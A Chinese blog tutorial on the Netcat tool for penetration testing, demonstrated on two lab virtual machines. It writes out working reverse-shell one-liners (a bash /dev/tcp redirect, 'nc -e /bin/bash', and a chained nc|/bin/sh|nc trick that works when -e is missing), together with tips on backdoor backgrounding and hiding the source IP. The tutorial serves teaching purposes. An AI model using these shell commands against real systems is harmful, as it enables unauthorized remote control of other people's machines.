【网安神器篇】——瑞士军刀Netcat

简介: 今天给大家分享的网络安全神器是网安界的瑞士军刀——Netcat

作者名:Demo不是emo

主页面链接:******************************************主页传送门****************************************  创作初心:舞台再大,你不上台,永远是观众,没人会关心你努不努力,摔的痛不痛,他们只会看你最后站在什么位置,然后羡慕或鄙夷  座右铭:不要让时代的悲哀成为你的悲哀  专研方向:网络安全,数据结构**

每日emo:梦里的你,一如往常般动人

今天给大家分享的网络安全神器是网安界的瑞士军刀——Netcat

目录

一:Netcat简介

二:工具下载

1. windows系统

2.linux系统

三:常用参数

四:常用功能

1.连接通讯

[\[1\]    服务端开启监听端口(#t7)

[[2]客户端连接监听端口](#t8)

[[3]实现连接通讯](#t9)

2.文件传输

[[1]接收端开启接收](#t11)

[[2]传输端开启传输 ](#t12)

[[3]文件成功传输 ](#t13)

3.传输shell

[[1] 正向shell](#t15)

[ [2]反向shell](#t16)

五:拓展姿势

1.奇淫巧技

2.博文总结


netcat称为网络工具中的瑞士军刀,体积小巧,但功能强大,为了方便常用nc作为其简称。 它可以在两台设备上面相互交互,主要就是侦听模式传输模式。大致功能如下:

  • Telnet功能
  • 获取banner信息
  • 传输文本信息
  • 传输文件/目录
  • 加密传输文件,默认不加密
  • 远程控制
  • 加密所有流量
  • 流媒体服务器
  • 远程克隆硬盘

因为今天主要介绍的是nc在网安中的应用,所以只会讲到其中的一部分功能

1. windows系统

Windows:https://eternallybored.org/misc/netcat/解压安装包,直接运行,无需安装

2.linux系统

输入下面命令即可安装(kali系统已经部署了预安装)

yum install nc

打开终端,输入nc -h即可查看到nc的使用帮助界面,即一些常用参数的作用(这里用kali演示,其他系统同样的操作即可),如下

考虑到这样大家可能看不大清楚,而且还全是英文,有可能看不懂,所以demo哥这里贴心的给大家写一份中文版的使用帮助,以表格形式呈现,如下

| 参数 |                                               参数作用 ||

-l

|                                 设置netcat处于监听状态等待连接 ||

-L

| 设置netcat处于监听状态等待连接,当客户端断开,服务端依旧回到等待状态 ||

-p

|                                            本地监听端口号 ||

-v

|        显示端口信息,如果使用-vv的话,则显示更加详细的端口信息 ||

-e

|                                 执行某个程序,如cmd.exe ||

-n

|                         只识别IP地址,不对目标进行DNS解析 ||

-u

|                          使用UDP模式(nc默认使用tcp连接) ||

-z

|   zero I/O模式,专用端口扫描。对目标IP发送的数据不包含payload,加快扫描 ||

-w1

|                                         超时设置为1秒 ||

-d

|           脱离命令窗口,在后台运行,常用于后门的建立过程 ||

-G

|                         gateway 设置网关,用于内网突破限制 ||

-g

|                                         num,路由调数 ||

-o :file

|                                     设置传输16进制的数据 ||

-s:addr

|                         设置netcat源地址,隐藏自己的ip地址 ||

-t

|                                    恢复telnet的请求数据包 || -r |                                 设置netcat随机化的端口号 |

以上差不多就是nc比较常用的一些参数,众所周知,参数搭配在一起使用,就能完成某些特定的功能,所以下面我们就来介绍一下由各种命令搭配构成的nc常用功能

实验环境:

一台kali虚拟机(ip地址为192.168.149.129)和一台centos虚拟机(ip地址为192.168.149.133),两台机器网络在同一网段,能互相ping通,且都安装了nc工具

1.连接通讯

演示:

[1]:服务端开启监听端口

在kali端监听6666端口,如下

nc -lnvp 6666

[2]客户端连接监听端口

nc 192.168.149.129 6666

[3]实现连接通讯

经过上面的两个操作后,centos和kali已经建立起实时通讯了,在kali输入的内容会传输到centos,比如在kali输入nihao cnetos,如下

在centos的连接页面也会接收到该信息,如下:

同理此时在centos输入数据也会传送到kali,相当于建立了一个双向实时通讯连接,达到类似微信聊天的效果

2.文件传输

接收端:nc -lvp 端口 >传输的文件在本地保存的路径传输端:nc 接收端ip 端口 <要传输的文件路径

演示 :

我们在centos创建一个1.txt的文件,并用nc将其传输到kali

[1]接收端开启接收

我们还是选择通过6666端口来传输文件

[2]传输端开启传输

在centos上用nc将centos上的1.txt传输到kali上

nc 192.168.149.129 6666 <1.txt

[3]文件成功传输

可以看到kali端已经成功收到文件

3.传输shell

shell传输分为正向shell反向shell ,理解正向和反向,主要就是分清客户端服务端,下面给大家详细介绍一下

[1] 正向shell

正向就是客户端主动连接服务端,也就是我们去找目标拿权限,获取服务端的shell,这里我们把kali作为客户端,来正向获取centos的shell权限

服务端:nc -lvp 端口 -e /bin/sh

演示

centos关闭防火墙并打开shell监听

kali连接监听端口获取shell

到这里就成功kali就已经成功拿到centos的shell了,在kali的连接页面即可查看,如下:

[2]反向shell

反向shell就是让目标把权限自己给我们,也就是服务端来找客户端并把shell给客户端,具体步骤如下

服务端反弹shell: bash反弹:bash -i >& /dev/tcp/客户端ip/端口 0>&1                 nc反 弹 :nc -e /bin/bash 客户端ip 端口

客户端开启监听

服务端反弹shell

成功将shell回弹到kali

1.奇淫巧技

在用nc的正向shell时不仅要关心防火墙的情况,还要注意-e参数是否被支持,看看初始命令

nc -e /bin/bash 客户端ip 端口

如果此时-e参数不被支持,但你仍然想使用正向shell建立连接,应该怎么办呢?这就是要给大家讲的小技巧——nc串连,具体命令如下:

nc 客户端的ip 第一个端口|/bin/sh|nc 客户端的ip  第二个端口

详细给大家讲一下服务端执行这条命令的意思

语句的前半部分服务端nc将shell回弹到客户端ip的第一个端口,此时客户端开启对第一个端口的监听并成功建立连接(但这里并不是交互式shell,看不到命令执行的结果),语句后半部分意思就是将用户在第一个端口建立的shell上的命令执行结果作为第二个端口的输出内容,此时用户再用客户端nc监听并连接第二个端口,这样就可以实现攻击者在第一个端口输入命令,在第二个端口就能看到命令执行的结果

这招巨好用,大家可以多看看或者下去自己试一下

2.博文总结

除此之外nc还有很多用法,不过平时用的比较多的其实就是用来监听回弹的shell,后面我也会出一期回弹shell姿势总结,大家有兴趣的也可以去了解一下,感谢大家的阅读

相关文章
|
机器学习/深度学习 人工智能 算法
机器学习是什么?
机器学习是什么?
828 4
|
11月前
|
人工智能 编解码 芯片
告别低效沟通|让技术提问不再头疼-这套高效AI提问模板来帮你
不会向ai提问,不知道怎么提问的 可以看看
21185 1
告别低效沟通|让技术提问不再头疼-这套高效AI提问模板来帮你
|
3月前
|
人工智能 人机交互 语音技术
输入剧本即可生成漫剧:360 短剧智能体如何落地执行型 AI
2026 年全球将迎来“百亿智能体”时代,这意味着AI从大模型到可以生成能力到可执行能力智能体,360宣布即将发布一款 短剧智能体,即用户只需输入剧本,它就能生成漫剧大片,极大降低影视内容创作门槛。
308 0
|
JavaScript 前端开发 Java
运算符优先级在不同编程语言中的差异
运算符优先级在不同编程语言中的差异
388 1
|
SQL 分布式计算 DataWorks
MaxCompute产品使用合集之DataWorks体验案例绑定如何绑定到正确的maxcomputer引擎上
MaxCompute作为一款全面的大数据处理平台,广泛应用于各类大数据分析、数据挖掘、BI及机器学习场景。掌握其核心功能、熟练操作流程、遵循最佳实践,可以帮助用户高效、安全地管理和利用海量数据。以下是一个关于MaxCompute产品使用的合集,涵盖了其核心功能、应用场景、操作流程以及最佳实践等内容。
|
机器学习/深度学习 人工智能 开发框架
解锁AI新纪元:LangChain保姆级RAG实战,助你抢占大模型发展趋势红利,共赴智能未来之旅!
【10月更文挑战第4天】本文详细介绍检索增强生成(RAG)技术的发展趋势及其在大型语言模型(LLM)中的应用优势,如知识丰富性、上下文理解和可解释性。通过LangChain框架进行实战演练,演示从知识库加载、文档分割、向量化到构建检索器的全过程,并提供示例代码。掌握RAG技术有助于企业在问答系统、文本生成等领域把握大模型的红利期,应对检索效率和模型融合等挑战。
868 14
|
机器学习/深度学习 移动开发 自然语言处理
【YOLOv8改进- 多模块融合改进】GhostConv + ContextAggregation 幽灵卷积与上下文聚合模块融合改进,助力小目标高效涨点
【YOLOv8改进- 多模块融合改进】GhostConv + ContextAggregation 幽灵卷积与上下文聚合模块融合改进,助力小目标高效涨点
|
JavaScript Java 测试技术
基于SpringBoot+Vue的网上订餐系统的详细设计和实现(源码+lw+部署文档+讲解等)
基于SpringBoot+Vue的网上订餐系统的详细设计和实现(源码+lw+部署文档+讲解等)
335 1
|
Java Python
2021Kali系列 -- BurpSuite(sqlmap插件)
2021Kali系列 -- BurpSuite(sqlmap插件)
411 0